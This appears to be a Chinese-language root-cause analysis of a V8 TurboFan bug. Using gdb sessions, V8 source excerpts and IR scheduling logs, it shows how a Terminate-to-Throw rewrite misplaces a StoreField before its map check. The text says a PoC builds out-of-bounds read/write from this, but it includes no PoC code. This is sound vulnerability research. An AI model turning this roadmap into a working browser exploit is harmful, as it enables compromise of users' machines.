//b bytecode-graph-builder.cc:2600
[-------------------------------------code-------------------------------------]
   0x56305b927eb8 <v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow()+152>:	xor    ecx,ecx
   0x56305b927eba <v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow()+154>:	xor    r8d,r8d
   0x56305b927ebd <v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow()+157>:	
    call   0x56305b92a380 <v8::internal::compiler::BytecodeGraphBuilder::MakeNode(v8::internal::compiler::Operator const*, int, v8::internal::compiler::Node* const*, bool)>:	    call   0x56305b92a380 <v8::internal::compiler::BytecodeGraphBuilder::MakeNode(v8::internal::compiler::Operator const*, int, v8::internal::compiler::Node* const*, bool)>
=> 0x56305b927ec2 <v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow()+162>:	mov    rdi,rbx
   0x56305b927ec5 <v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow()+165>:	mov    rsi,rax
   0x56305b927ec8 <v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow()+168>:	call   0x56305b92b140 <v8::internal::compiler::BytecodeGraphBuilder::MergeControlToLeaveFunction(v8::internal::compiler::Node*)>
   0x56305b927ecd <v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow()+173>:	add    rsp,0x10
   0x56305b927ed1 <v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow()+177>:	pop    rbx
[------------------------------------stack-------------------------------------]
0000| 0x7ffd4326c0d0 --> 0x56305ca7ab70 --> 0x56305be5e3b0 (:internal::compiler::OffHeapBytecodeArray+16>:	0x000056305ba26bf0)
0008| 0x7ffd4326c0d8 --> 0x56305cabf7c0 --> 0x56305bea83e8 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+528>:	0x000056305be5b868)
0016| 0x7ffd4326c0e0 --> 0x56305caaf0e8 --> 0x0 
0024| 0x7ffd4326c0e8 --> 0x7ffd4326c318 --> 0x56305ca7ab70 --> 0x56305be5e3b0 (:internal::compiler::OffHeapBytecodeArray+16>:	0x000056305ba26bf0)
0032| 0x7ffd4326c0f0 --> 0x7ffd4326c150 --> 0x7ffd4326c180 --> 0x7ffd4326c260 --> 0x7ffd4326c4b0 --> 0x7ffd4326c720 (--> ...)
0040| 0x7ffd4326c0f8 --> 0x56305b91f695 (<v8::internal::compiler::BytecodeGraphBuilder::VisitSingleBytecode()+6277>:	mov    rax,QWORD PTR fs:0x28)
0048| 0x7ffd4326c100 --> 0x0 
0056| 0x7ffd4326c108 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
v8::internal::compiler::BytecodeGraphBuilder::VisitReThrow (this=0x7ffd4326c290) at ../../src/compiler/bytecode-graph-builder.cc:2620
2620	  MergeControlToLeaveFunction(control);
gdb-peda$ p *(struct Node*) $rax
$3 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x56305bea82f8 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>,
  type_ = {
    payload_ = 0x0
  },
  mark_ = 0x0,
  bit_field_ = 0x22000135,(309节点)
  first_use_ = 0x0
}
gdb-peda$ p * (v8::internal::compiler::Operator *) 0x56305bea82f8
$4 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x56305be5b750 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator+16>,
  mnemonic_ = 0x56305ae7092a "Throw",
  opcode_ = 0x15,
  properties_ = {
    mask_ = 0x78
  },
  //...
}
gdb-peda$

Terminate->Throw节点替换

观察IR图，重点关注131:Terminate节点，发现在TypedLowering阶段该节点被优化为了Throw节点，节点的control input为70:JSCreateTypedArray，effect input为389:Unreachable。该阶段主要是根据类型将表达式和指令替换为更简单的表示，比如JSAdd(1,2)，由于参数均为数字，其将被优化为更底层的NumAdd(1,2)。

在src/compiler/pipeline.cc中可以找到该阶段的代码，reduer用于对节点做优化，我们重点关注DeadCodeElimination的graph_reduer。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//src/compiler/pipeline.cc:1519
struct TypedLoweringPhase {
  DECL_PIPELINE_PHASE_CONSTANTS(TypedLowering)

  void Run(PipelineData* data, Zone* temp_zone) {
    GraphReducer graph_reducer(temp_zone, data->graph(),
                               &data->info()->tick_counter(),
                               data->jsgraph()->Dead());
    DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                              data->common(), temp_zone);
    //...
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    //...
    graph_reducer.ReduceGraph();
  }
};

节点的reduce最终会调用到各个reduer对应的Reduce函数，具体可以参见下面代码注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
//调用链:GraphReducer::ReduceGraph->GraphReducer::ReduceNode->GraphReducer::ReduceTop->GraphReducer::Reduce
//src/compiler/graph-reducer.cc:81
//从end节点开始处理
void GraphReducer::ReduceGraph() { ReduceNode(graph()->end()); }
//src/compiler/graph-reducer.cc:51
void GraphReducer::ReduceNode(Node* node) {
  DCHECK(stack_.empty());
  DCHECK(revisit_.empty());
  //节点入栈
  Push(node);
  for (;;) {
    if (!stack_.empty()) {
      // Process the node on the top of the stack, potentially pushing more or
      // popping the node off the stack.
      //从栈顶取节点进行reduce
      ReduceTop();
    } else if (!revisit_.empty()) {
      // If the stack becomes empty, revisit any nodes in the revisit queue.
      Node* const node = revisit_.front();
      revisit_.pop();
      if (state_.Get(node) == State::kRevisit) {
        // state can change while in queue.
        //对于需要重新访问的节点也push到栈上
        Push(node);
      }
    } else {
      // Run all finalizers.
      for (Reducer* const reducer : reducers_) reducer->Finalize();

      // Check if we have new nodes to revisit.
      if (revisit_.empty()) break;
    }
  }
  //...
}
//src/compiler/graph-reducer.cc:126
void GraphReducer::ReduceTop() {
  //...
  // All inputs should be visited or on stack. Apply reductions to node.
  //节点优化调用
  Reduction reduction = Reduce(node);
  // If there was no reduction, pop {node} and continue.
  if (!reduction.Changed()) return Pop();
  // Check if the reduction is an in-place update of the {node}.
  Node* const replacement = reduction.replacement();
  //...
  // After reducing the node, pop it off the stack.
  Pop();
  // Check if we have a new replacement.
  if (replacement != node) {
    Replace(node, replacement, max_id);
  } else {
    // Revisit all uses of the node.
    for (Node* const user : node->uses()) {
      // Don't revisit this node if it refers to itself.
      if (user != node) Revisit(user);
    }
  }
}
//src/compiler/graph-reducer.cc:84
Reduction GraphReducer::Reduce(Node* const node) {
  auto skip = reducers_.end();
  for (auto i = reducers_.begin(); i != reducers_.end();) {
    if (i != skip) {
      tick_counter_->DoTick();
      //这里使用虚表调用的方式对每个reduer自己实现的Reduce函数进行调用
      Reduction reduction = (*i)->Reduce(node);
      if (!reduction.Changed()) {
        // No change from this reducer.
      } else if (reduction.replacement() == node) {
        // {replacement} == {node} represents an in-place reduction. Rerun
        // all the other reducers for this node, as now there may be more
        // opportunities for reduction.
        //..
        skip = i;
        i = reducers_.begin();
        continue;
      } else {
        // {node} was replaced by another node.
        //..
        return reduction;
      }
    }
    ++i;
  }
  if (skip == reducers_.end()) {
    // No change from any reducer.
    return Reducer::NoChange();
  }
  // At least one reducer did some in-place reduction.
  return Reducer::Changed(node);
}

接下来我们看下DeadCodeElimination::Reduce，当节点类型为Deoptimize/Return/Terminate/TailCall时会调用漏洞函数ReduceDeoptimizeOrReturnOrTerminateOrTailCall。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
//src/compiler/dead-code-elimination.cc:48
Reduction DeadCodeElimination::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;
  switch (node->opcode()) {
    //...
    case IrOpcode::kUnreachable:
    case IrOpcode::kIfException:
      return ReduceUnreachableOrIfException(node);
    case IrOpcode::kPhi:
      return ReducePhi(node);
    case IrOpcode::kEffectPhi:
      return ReduceEffectPhi(node);
    case IrOpcode::kDeoptimize:
    case IrOpcode::kReturn:
    case IrOpcode::kTerminate:
    case IrOpcode::kTailCall:
      return ReduceDeoptimizeOrReturnOrTerminateOrTailCall(node);
    case IrOpcode::kThrow:
      return PropagateDeadControl(node);
    //...
    default:
      return ReduceNode(node);
  }
  UNREACHABLE();
}
//src/compiler/dead-code-elimination.cc:312
Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(
    Node* node) {
  DCHECK(node->opcode() == IrOpcode::kDeoptimize ||
         node->opcode() == IrOpcode::kReturn ||
         node->opcode() == IrOpcode::kTerminate ||
         node->opcode() == IrOpcode::kTailCall);
  Reduction reduction = PropagateDeadControl(node);
  //如果其control为Dead则直接返回更新后的节点，否则继续执行
  if (reduction.Changed()) return reduction;
  //如果存在属性为Dead的input节点
  if (FindDeadInput(node) != nullptr) {
    Node* effect = NodeProperties::GetEffectInput(node, 0);
    Node* control = NodeProperties::GetControlInput(node, 0);
    if (effect->opcode() != IrOpcode::kUnreachable) {
      //如果effect opcode属性非Unreachable
      //创建Unreachable节点
      effect = graph()->NewNode(common()->Unreachable(), effect, control);
      NodeProperties::SetType(effect, Type::None());
    }
    node->TrimInputCount(2);
    //使用保存的effect和control替换Throw的effect和control
    node->ReplaceInput(0, effect);
    node->ReplaceInput(1, control);
    NodeProperties::ChangeOp(node, common()->Throw());
    return Changed(node);
  }
  return NoChange();
}
//src/compiler/dead-code-elimination.cc:81
Reduction DeadCodeElimination::PropagateDeadControl(Node* node) {
  DCHECK_EQ(1, node->op()->ControlInputCount());
  Node* control = NodeProperties::GetControlInput(node);
  //如果control为Dead节点则将其replacement赋值为control
  if (control->opcode() == IrOpcode::kDead) return Replace(control);
  return NoChange();
}
//src/compiler/dead-code-elimination.cc:39
Node* FindDeadInput(Node* node) {
  for (Node* input : node->inputs()) {
    //对所有输入进行判断，一旦发现某个input节点无法继续则返回该节点
    if (NoReturn(input)) return input;
  }
  return nullptr;
}
//src/compiler/dead-code-elimination.cc:32
bool NoReturn(Node* node) {
  //如果参数节点opcode有以下属性时返回true
  return node->opcode() == IrOpcode::kDead ||
         node->opcode() == IrOpcode::kUnreachable ||
         node->opcode() == IrOpcode::kDeadValue ||
         NodeProperties::GetTypeOrAny(node).IsNone();
}

同样地，我们在gdb中调试观察，发现Terminate节点的某个输入为389:Unreachable节点，由于其opcode属性为IrOpcode::kUnreachable，FindDeadInput返回非空指针使其得以进入后续替换为Throw节点的逻辑。
//b* 0xF533BF+0x000055be998ee000
//b dead-code-elimination.cc:320

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[-------------------------------------code-------------------------------------]
   0x55be9a8413b5 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+165>:	cmp    r14,r13
   0x55be9a8413b8 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+168>:	
    jne    0x55be9a841390 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+128>:	    jne    0x55be9a841390 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+128>
   0x55be9a8413ba <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+170>:	
    jmp    0x55be9a841554 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+580>:	    jmp    0x55be9a841554 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+580>
=> 0x55be9a8413bf <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+175>:	test   rbx,rbx
   0x55be9a8413c2 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+178>:	
    je     0x55be9a841551 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+577>:	    je     0x55be9a841551 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+577>
   0x55be9a8413c8 <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+184>:	mov    r13,QWORD PTR [rbp-0x40]
   0x55be9a8413cc <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+188>:	mov    rdi,r13
   0x55be9a8413cf <v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(v8::internal::compiler::Node*)+191>:	xor    esi,esi
[------------------------------------stack-------------------------------------]
0000| 0x7fff2782c5f0 --> 0x55be99d8a23f ("DeadCodeElimination")
0008| 0x7fff2782c5f8 --> 0x7f82046976a0 --> 0xfbad2a84 
0016| 0x7fff2782c600 --> 0x55be9c835928 --> 0x55be9ad9e328 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+336>:	0x000055be9ad51788)
0024| 0x7fff2782c608 --> 0x7fff2782c9d0 --> 0x55be9ad53c70 (:internal::compiler::DeadCodeElimination+16>:	0x000055be99fedae0)
0032| 0x7fff2782c610 --> 0x55be9c835948 --> 0x55be9c87fe40 --> 0x55be9ad9e208 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+48>:	0x000055be9ad51638)
0040| 0x7fff2782c618 --> 0x55be9c87d288 --> 0x55be9ad617b0 (:internal::compiler::(anonymous namespace)::SourcePositionWrapper+16>:	0x000055be99fedae0)
0048| 0x7fff2782c620 --> 0x0 
0056| 0x7fff2782c628 --> 0x55be9c835948 --> 0x55be9c87fe40 --> 0x55be9ad9e208 (:internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+48>:	0x000055be9ad51638)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 1 "d8" hit Breakpoint 9, v8::internal::compiler::DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall (this=0x7fff2782c9d0, node=0x55be9c835928) at ../../src/compiler/dead-code-elimination.cc:320
320	  if (FindDeadInput(node) != nullptr) {
gdb-peda$ p *(struct Node*) $rbx
$8 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x55be9ad9e208 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+48>,
  type_ = {
    payload_ = 0x1
  },
  mark_ = 0x1b,
  bit_field_ = 0x22000185,(389节点)
  first_use_ = 0x55be9c82b880
}
gdb-peda$

至此我们结合IR图以及调试找到了漏洞产生的阶段，patch的注释称Terminate节点不属于CFG，因此不应当被替换为Throw节点。在增加patch后该节点处理时不会进行替换，此时该节点的input已经被优化成了其他节点，由于在这里没有TrimInputCount等操作，该节点后面将作为一个非法节点被回收掉，自此不再参与后续的优化阶段。在PoC中作者将此处的漏洞影响扩大到了后面的阶段，从而构造出OOB读写，接下来我们重点研究该漏洞后续的影响。一个很关键的问题是在debug版本中运行PoC触发DCHECK crash报错，这个报错因何而起，打破了开发者的什么假设，作者声称的incorrect schedule究竟指什么，让我们带着问题继续后面的分析。

EffectLinearization阶段分析

日志对比

首先来看下为何要分析这个阶段，通过对比观察vuln和patch版本生成的IR图的不同phase，发现在第二次schedule的时候关键的节点73:StoreField调度到了不同的Block中，根据节点的控制依赖关系应当有460:DeoptimizeUnless->461:Merge->462:EffectPhi->73:StoreField，其中460:DeoptimizeUnless节点为71:CheckMaps在EffectLinearization阶段优化后的结果，该节点负责检查arr.length=-1赋值前的arr_map，不符合优化假设则解优化。根据上述节点被调度安排到的Block应当有B5->B7->B7->B4，而我们根据其基本块的调度关系可以发现B4在B5前，其指令先于B5执行，因此无法控制73:StoreField节点，即map类型检查失效，PoC可以据此实现对于length的畸形赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
-- Graph after V8.TFEffectLinearization -- 
  + Block B0 (pred:)
     #0:Start()  [Type: Internal]
     //..
     #2:Parameter[1](#0:Start)  [Type: NonInternal]
     //..
     #433:Branch[True, SafetyCheck](#432:StackPointerGreaterThan, #0:Start) -> B2, B1
  + Block B1 (pred: B0)
     #435:IfFalse(#433:Branch)
     //..
     #432:StackPointerGreaterThan, #435:IfFalse)
     Goto -> B3
  + Block B2 (pred: B0)
     #434:IfTrue(#433:Branch)
     Goto -> B3
  + Block B3 (pred: B2 B1)
     #436:Merge(#434:IfTrue, #14:Call)
     //...
     #19:Branch[None, NoSafetyCheck](#18:Word32Equal, #447:DeoptimizeUnless) -> B8, B4
  + Block B4 (pred: B3)
     #20:IfFalse(#19:Branch)
     //...
     #427:Int64Constant[-2]()
     //...
     #73:StoreField[tagged base, 12, #val, Signed31, kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](#2:Parameter, #427:Int64Constant, #462:EffectPhi, #461:Merge)
     #425:TypedStateValues[kRepTagged|kTypeAny, dense](#426:Int64Constant)
     #409:TypedStateValues[kRepTagged|kTypeAny, kRepTagged|kTypeAny, kRepTagged|kTypeAny, sparse:^^.^](#70:Call, #402:TypedObjectState, #45:NumberConstant)  [Type: Internal]
     #464:HeapConstant[0x0c5b08240559 <Map(INT8ELEMENTS)>]()
     #463:LoadField[tagged base, 0, OtherInternal, kRepTaggedPointer|kTypeAny, MapWriteBarrier, mutable](#70:Call, #73:StoreField, #461:Merge)
     //...
     #454:Branch[None, CriticalSafetyCheck](#453:Word32Equal, #450:DeoptimizeIf) -> B9, B6, B5
  + Block B5 (pred: B4)
     #456:IfFalse(#454:Branch)
     //...
     #460:DeoptimizeUnless[Eager, WrongMap, CriticalSafetyCheck, FeedbackSource(INVALID)](#459:Word32Equal, #408:FrameState, #451:LoadField, #456:IfFalse)
     Goto -> B7
  + Block B6 (pred: B4)
     #455:IfTrue(#454:Branch)
     Goto -> B7
  + Block B7 (pred: B6 B5)
     #461:Merge(#455:IfTrue, #460:DeoptimizeUnless)
     #462:EffectPhi(#451:LoadField, #460:DeoptimizeUnless, #461:Merge)
     #471:Throw(#416:Unreachable, #470:DeoptimizeUnless) -> B9
  + Block B8 (pred: B3)
     #23:IfTrue(#19:Branch)
     #413:Int64Constant[10]()
     #27:Return(#411:Int32Constant, #413:Int64Constant, #447:DeoptimizeUnless, #23:IfTrue) -> B9
  + Block B9 (pred: B8 B4 B7)
     #57:End(#27:Return, #131:Throw, #471:Throw)

作为对比，再来观察一下patch后的版本，节点的effect/control依赖并没有变化，我们只看460:DeoptimizeUnless->461:Merge->462:EffectPhi->73:StoreField这一条chain，对应scheduled基本块为B5->B7->B7->B7，由于B7的prev_block包含B5，因此指令执行的顺序为先B5中的指令后B7的指令，effect/control chain并没有被打破，同理73节点的其他control/effect chain也符合schedule的基本块顺序执行，关键的解优化检查节点460:DeoptimizeUnless得以在赋值前执行类型检查从而避免畸形赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
-- Graph after V8.TFEffectLinearization -- 
  + Block B0 (pred:)
     #0:Start()  [Type: Internal]
     //...
     #2:Parameter[1](#0:Start)  [Type: NonInternal]
     //...
     #433:Branch[True, SafetyCheck](#432:StackPointerGreaterThan, #0:Start) -> B2, B1
  + Block B1 (pred: B0)
     #435:IfFalse(#433:Branch)
     //...
     #432:StackPointerGreaterThan, #435:IfFalse)
     Goto -> B3
  + Block B2 (pred: B0)
     #434:IfTrue(#433:Branch)
     Goto -> B3
  + Block B3 (pred: B2 B1)
     #436:Merge(#434:IfTrue, #14:Call)
     //...
     #19:Branch[None, NoSafetyCheck](#18:Word32Equal, #447:DeoptimizeUnless) -> B8, B4
  + Block B4 (pred: B3)
     #20:IfFalse(#19:Branch)
     //..
     #454:Branch[None, CriticalSafetyCheck](#453:Word32Equal, #450:DeoptimizeIf) -> B6, B5
  + Block B5 (pred: B4)
     #456:IfFalse(#454:Branch)
     //...
     #460:DeoptimizeUnless[Eager, WrongMap, CriticalSafetyCheck, FeedbackSource(INVALID)](#459:Word32Equal, #408:FrameState, #451:LoadField, #456:IfFalse)
     Goto -> B7
  + Block B6 (pred: B4)
     #455:IfTrue(#454:Branch)
     Goto -> B7
  + Block B7 (pred: B6 B5)
     #461:Merge(#455:IfTrue, #460:DeoptimizeUnless)
     #462:EffectPhi(#451:LoadField, #460:DeoptimizeUnless, #461:Merge)
     //...
     #73:StoreField[tagged base, 12, Signed31, kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](#2:Parameter, #427:Int64Constant, #462:EffectPhi, #461:Merge)
     //...
     #416:Unreachable(#470:DeoptimizeUnless, #470:DeoptimizeUnless)
     #471:Throw(#416:Unreachable, #470:DeoptimizeUnless) -> B9
  + Block B8 (pred: B3)
     #23:IfTrue(#19:Branch)
     #413:Int64Constant[10]()
     #27:Return(#411:Int32Constant, #413:Int64Constant, #447:DeoptimizeUnless, #23:IfTrue) -> B9
  + Block B9 (pred: B8 B7)
     #57:End(#27:Return, #471:Throw)

对比该日志之前的记录，发现在第二次schedule时73:StoreField节点的位置存放出现错误，在patch版本中将其放入了B4而在vuln版本中其被放入了B3，根据节点的控制关系以及基本块的支配关系猜想可能是73:StoreField所支配的相关的节点出现错误进而引发其放置错误，按照这种猜想继续向之前日志对比，发现463节点存放位置错误，进而发现465、465节点存放位置错误，以此类推，一直溯源到466->465->470->416，416:Unreachable节点在计算所属基本块时，由于同时需要domain两个use，最终选择的commonDominator为bb3(domin_depth较小的基本块)出现错误，再根据节点的支配关系将这个错误扩大到了73:StoreField。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//vuln
Scheduling #73:StoreField
  must dominate use #463:LoadField in id:3
//patch
Scheduling #73:StoreField
  must dominate use #463:LoadField in id:4
//vuln
Scheduling #463:LoadField
  must dominate use #466:DeoptimizeUnless in id:3
  must dominate use #465:Word32Equal in id:3
//patch
Scheduling #463:LoadField
  must dominate use #466:DeoptimizeUnless in id:4
  must dominate use #465:Word32Equal in id:4
//vuln
Scheduling #465:Word32Equal
  must dominate use #466:DeoptimizeUnless in id:3
//patch
Scheduling #465:Word32Equal
  must dominate use #466:DeoptimizeUnless in id:4
//vuln
Scheduling #466:DeoptimizeUnless
  must dominate use #470:DeoptimizeUnless in id:3
  must dominate use #470:DeoptimizeUnless in id:3
//patch
Scheduling #466:DeoptimizeUnless
  must dominate use #470:DeoptimizeUnless in id:4
  must dominate use #470:DeoptimizeUnless in id:4
//vuln
Scheduling #470:DeoptimizeUnless
  must dominate use #471:Throw in id:4
  must dominate use #416:Unreachable in id:3
  must dominate use #416:Unreachable in id:3
//patch
Scheduling #470:DeoptimizeUnless
  must dominate use #471:Throw in id:4
  must dominate use #416:Unreachable in id:4
  must dominate use #416:Unreachable in id:4
//vuln
Scheduling #416:Unreachable
  must dominate use #471:Throw in id:4
  must dominate use #131:Throw in id:3
//patch
Scheduling #416:Unreachable
  must dominate use #471:Throw in id:4

结合IR图发现471:Throw节点是416:Unreachable节点转换而来，为什么经过这个阶段原180:Throw节点被消除而Terminate转换而来的131:Throw节点没有变化？471:Throw节点是如何生成的？为什么两个Throw节点所属的Basic Block不同？我们带着这几个关键问题继续分析源码。

Scheduling

EffectLinearization阶段的优化有：

  1. 将可能解优化的节点连接到control/effect chain上，分配check point
  2. 根据control flow扩展宏操作(比如ChangeTaggedToFloat64节点)
  3. 基于phis优化branch节点(branch cloning)

首先看pipeline.c中EffectControlLinearizationPhase，该阶段关键操作有Schedule、LinearizeEffectControl和DeadCodeElimination。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//src/compiler/pipeline.cc:1679
struct EffectControlLinearizationPhase {
  DECL_PIPELINE_PHASE_CONSTANTS(EffectLinearization)

  void Run(PipelineData* data, Zone* temp_zone) {
    {
      //...

      // Schedule the graph without node splitting so that we can
      // fix the effect and control flow for nodes with low-level side
      // effects (such as changing representation to tagged or
      // 'floating' allocation regions.)
      Schedule* schedule = Scheduler::ComputeSchedule(
          temp_zone, data->graph(), Scheduler::kTempSchedule,
          &data->info()->tick_counter());
      //...

      //...
      // Post-pass for wiring the control/effects
      // - connect allocating representation changes into the control&effect
      //   chains and lower them,
      // - get rid of the region markers,
      // - introduce effect phis and rewire effects to get SSA again.
      LinearizeEffectControl(data->jsgraph(), schedule, temp_zone,
                             data->source_positions(), data->node_origins(),
                             mask_array_index, MaintainSchedule::kDiscard);
    }
    {
      // The {EffectControlLinearizer} might leave {Dead} nodes behind, so we
      // run {DeadCodeElimination} to prune these parts of the graph.
      // Also, the following store-store elimination phase greatly benefits from
      // doing a common operator reducer and dead code elimination just before
      // it, to eliminate conditional deopts with a constant condition.
      GraphReducer graph_reducer(temp_zone, data->graph(),
                                 &data->info()->tick_counter(),
                                 data->jsgraph()->Dead());
      DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                                data->common(), temp_zone);
      //...
      AddReducer(data, &graph_reducer, &dead_code_elimination);
      //...
      graph_reducer.ReduceGraph();
    }
  }
};

ComputeSchedule函数首先调用BuildCFG方法构造基本块进而得到CFG，之后计算出遍历基本块的顺序(这里使用reverse-post-ordering(逆后序),这部分可参考数据流迭代分析的相关资料,代码分析中将略过实现细节)。再之后，根据rpo的顺序计算出每个基本块的dominator得到支配树(对于一个基本块b1，若从start->b1的数据流必定经过b0，则称b0为b1的dominator，一个基本块可能有多个dominator，其中距离b1最近的基本块被称为Immediate dominator(直接支配点)，只要计算出IDom的信息，我们就可以得到支配树)。PrepareUses方法计算出每个节点的use使用情况，在这个过程中根据依赖关系将一些节点添加到基本块中，ScheduleEarly方法计算出节点的最小包含基本块以及对应的dominator所属层次等信息，同时根据依赖关系将该信息传播给该节点所支配的结点更新他们的支配信息。这里计算的节点所属位置仍是不确定的，因为只有在综合所有的支配信息之后才能得到节点真正应属的位置。ScheduleLate就是对所有的节点的基本块所属位置做最终敲定，在SealFinalSchedule方法里则将这些node实际添加到basic block中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//src/compiler/scheduler.cc:44
Schedule* Scheduler::ComputeSchedule(Zone* zone, Graph* graph, Flags flags,
                                     TickCounter* tick_counter) {
  Zone* schedule_zone =
      (flags & Scheduler::kTempSchedule) ? zone : graph->zone();

  //...

  Schedule* schedule =
      new (schedule_zone) Schedule(schedule_zone, node_count_hint);
  Scheduler scheduler(zone, graph, schedule, flags, node_count_hint,
                      tick_counter);

  scheduler.BuildCFG();
  scheduler.ComputeSpecialRPONumbering();
  scheduler.GenerateDominatorTree();

  scheduler.PrepareUses();
  scheduler.ScheduleEarly();
  scheduler.ScheduleLate();

  scheduler.SealFinalSchedule();

  return schedule;
}

BuildCFG方法首先创建了一个ControlEquivalence对象和CFGBuilder对象，之后调用control_flow_builder_->Run()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//src/compiler/scheduler.cc:613
void Scheduler::BuildCFG() {
  TRACE("--- CREATING CFG -------------------------------------------\n");
  //我们的Run方法里并没有对它操作，在最终的`schedule`阶段会调用Run的重载函数调用equivalence算法
  //详情可参见论文：The program structure tree: computing control regions in linear time
  // Instantiate a new control equivalence algorithm for the graph.
  equivalence_ = new (zone_) ControlEquivalence(zone_, graph_);

  // Build a control-flow graph for the main control-connected component that
  // is being spanned by the graph's start and end nodes.
  control_flow_builder_ = new (zone_) CFGBuilder(zone_, this);
  control_flow_builder_->Run();
  //..
}

该方法从end结点开始以广度优先的策略进行反向遍历，对于每个待处理的节点将其input保存到队列中迭代处理，Queue方法首先为参数节点创建基本块，之后将node压入control_变量作为之后ConnectBlocks的迭代对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//src/compiler/scheduler.cc:256
// Run the control flow graph construction algorithm by walking the graph
// backwards from end through control edges, building and connecting the
// basic blocks for control nodes.
void Run() {
  //..
  //从end节点开始
  Queue(scheduler_->graph_->end());

  while (!queue_.empty()) {  // Breadth-first backwards traversal.
    scheduler_->tick_counter_->DoTick();
    Node* node = queue_.front();
    queue_.pop();
    int max = NodeProperties::PastControlIndex(node);
    for (int i = NodeProperties::FirstControlIndex(node); i < max; i++) {
      Queue(node->InputAt(i));
    }
  }

  for (NodeVector::iterator i = control_.begin(); i != control_.end(); ++i) {
    ConnectBlocks(*i);  // Connect block to its predecessor/successors.
  }
}
